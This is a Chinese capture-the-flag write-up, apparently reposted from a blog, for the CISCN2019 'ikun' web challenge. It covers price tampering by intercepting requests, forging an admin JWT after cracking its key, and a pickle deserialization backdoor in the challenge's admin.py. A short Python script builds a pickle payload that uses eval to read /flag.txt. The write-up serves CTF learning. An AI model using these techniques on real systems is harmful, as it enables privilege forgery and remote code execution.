ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[CISCN2019 华北赛区 Day1 Web2]ikun

2021-05-12 10:32:55  阅读:341  来源: 互联网

标签:return ikun admin self jwt Day1 Web2 import pickle


[CISCN2019 华北赛区 Day1 Web2]ikun

前言

kun kun勇敢飞,iKun永相随!!!!

知识点

抓包薅羊毛逻辑漏洞

我们做ctf 题时经常遇到 数值大小限制。非常经典的例子就是经常给我们1000块钱让我们买1亿块钱的东西。这个时候一般有两个思路

第一个是利用f12控制台修改前端,第一个不好使的时候我们可以考虑抓包修改参数 本题就是采用抓包修改参数的策略。

jwt破解

jwt详解传送门

jwt破解工具

dalao 的博客把jwt讲的很清楚了已经,我这就简单叙述一下我的理解。

jwt 全称 Json Web Token 是一种较安全的用于传递信息的token

jwt破解一般出现在获取授权或交换信息的情境下。

jwt由三部分组成

Header

Payload

Signnature

三部分是什么这里不详述。只谈一下jwt破解关于这三部分的思路

首先是关于Header header不变,所以抓包未破解前的jwt值base64解密获取即可

image.png

payload部分则是 传递数据,或伪装获取授权的位置,例如本题中要求是admin访问,我们就把username后对应的数值改为admin

image.png

最后signnature部分,你需要获取一个Key 这里利用jwtcracker工具

输入抓包获得的jwt得到key

例如本题

image.png

三部分都完成网站解密即可

python pickle 反序列化

python魔术方法拓展阅读

dalao本题wp,把pickle说的很清楚

题解

打开环境,又看到了我最爱的kunkun 心情愉悦。

看右上角有注册,注册一个账号并登录。

image.png

给了一千块钱 哇好多,不过这里也可以猜测又要让我们薅羊毛了QAQ

进入后援会,哇让买某站账号,提示一定要买到lv6 ,我们写个脚本搜一下。

import requests
url="http://e3b32889-def7-4684-a2df-86128aa61370.node3.buuoj.cn/shop?page="
for i in range(0,2000):
    r=requests.get(url+str(i))
    if "lv6.png" in r.text:
        print (i)
        break

image.png

好贵啊果然买不起,f12发现不是前端语言逻辑漏洞 抓包改参数吧

image.png

行了进入 提示只让admin访问

image.png

进行jwt破解

把username改为 admin jwt破解的过程在上文知识点里,这里不再赘述

在这里插入图片描述

在页面源码里发现了www文件下载

在admin.py里存在一个pickle后门

rom sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))#hello!!!
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

pickle反序列化的知识也在上文中这里只提供一个构造脚本

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

将生成的payload传参给become

得到flag

在这里插入图片描述

标签:return,ikun,admin,self,jwt,Day1,Web2,import,pickle
来源: https://blog.csdn.net/qq_42551635/article/details/116697487

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有